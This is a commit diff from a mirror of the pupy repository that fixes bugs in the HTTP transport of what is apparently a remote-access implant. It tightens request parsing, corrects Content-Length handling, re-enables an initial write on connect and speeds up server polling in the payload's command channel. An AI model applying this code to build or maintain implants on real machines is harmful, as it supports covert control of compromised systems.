mirror of https://github.com/n1nj4sec/pupy.git
fix bug in http transport
This commit is contained in:
parent
c3eff9893e
commit
d1319db4c5
|
@ -109,9 +109,6 @@ class TransportWrapper(BasePupyTransport):
|
|||
#downstream chaining :
|
||||
self.insts[0].downstream=self.downstream
|
||||
self.insts[0].circuit.downstream=self.downstream
|
||||
#overloading len of buffer with the max of all chained buff
|
||||
#self.upstream.overload_len = (lambda s:max([len(x.upstream.buffer) for x in self.insts]))
|
||||
#self.downstream.overload_len = (lambda s:max([len(x.downstream.buffer) for x in self.insts]))
|
||||
|
||||
def on_connect(self):
|
||||
for ins in self.insts:
|
||||
|
|
|
@ -44,7 +44,7 @@ class PupySocketStream(SocketStream):
|
|||
|
||||
def on_connect(self):
|
||||
self.transport.on_connect()
|
||||
#super(PupySocketStream, self).write(self.downstream.read())
|
||||
super(PupySocketStream, self).write(self.downstream.read())
|
||||
|
||||
def _read(self):
|
||||
try:
|
||||
|
|
|
@ -26,6 +26,8 @@ def http_req2data(s):
|
|||
if not s.startswith("GET "):
|
||||
raise InvalidHTTPReq()
|
||||
first_line=s.split("\r\n")[0]
|
||||
if not first_line.endswith(" HTTP/1.1"):
|
||||
raise InvalidHTTPReq()
|
||||
method, path, http_ver=first_line.split()
|
||||
try:
|
||||
decoded_data=base64.b64decode(path[1:])
|
||||
|
@ -101,7 +103,7 @@ class PupyHTTPClient(PupyHTTPTransport):
|
|||
if name=="Content-Length":
|
||||
content_length=int(value)
|
||||
break
|
||||
if content_length is None:
|
||||
if content_length is None or len(rest)<content_length:
|
||||
break
|
||||
decoded_data+=base64.b64decode(rest[:content_length])
|
||||
length_to_drain=content_length+4+len(head)
|
||||
|
|
|
@ -173,7 +173,6 @@ def main():
|
|||
pupy.infos['launcher_inst']=launcher
|
||||
pupy.infos['transport']=launcher.get_transport()
|
||||
rpyc_loop(launcher)
|
||||
|
||||
finally:
|
||||
time.sleep(get_next_wait(attempt))
|
||||
attempt+=1
|
||||
|
@ -187,7 +186,6 @@ def rpyc_loop(launcher):
|
|||
server_class, port, address, authenticator, stream, transport, transport_kwargs = ret
|
||||
s=server_class(BindSlaveService, port=port, hostname=address, authenticator=authenticator, stream=stream, transport=transport, transport_kwargs=transport_kwargs)
|
||||
s.start()
|
||||
|
||||
else: # connect payload
|
||||
stream=ret
|
||||
def check_timeout(event, cb, timeout=10):
|
||||
|
|
|
@ -331,7 +331,7 @@ class PupyServer(threading.Thread):
|
|||
stream=launcher.iterate().next()
|
||||
conn=rpyc.utils.factory.connect_stream(stream, PupyService.PupyBindService, {})
|
||||
bgsrv=rpyc.BgServingThread(conn)
|
||||
bgsrv.SLEEP_INTERVAL=0.01 # consume ressources but faster response ...
|
||||
bgsrv.SLEEP_INTERVAL=0.001 # consume ressources but faster response ...
|
||||
|
||||
|
||||
def run(self):
|
||||
|
|
Loading…
Reference in New Issue